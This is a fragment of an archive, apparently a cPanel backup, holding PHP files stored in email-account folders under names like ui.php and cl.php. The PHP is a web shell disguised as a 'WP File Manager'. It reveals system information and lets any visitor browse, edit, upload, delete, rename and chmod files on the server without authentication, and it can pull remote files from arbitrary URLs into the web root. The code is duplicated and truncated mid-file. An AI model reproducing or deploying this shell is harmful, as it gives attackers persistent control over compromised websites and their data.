$perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ë(artan.ukshini@dunyagozbalkans.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]žÎBB info@hekurangashi.info/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 [calendar] protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. type VCALENDAR PK’&{]„N9³§Ë§Ëinfo@hekurangashi.info/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read 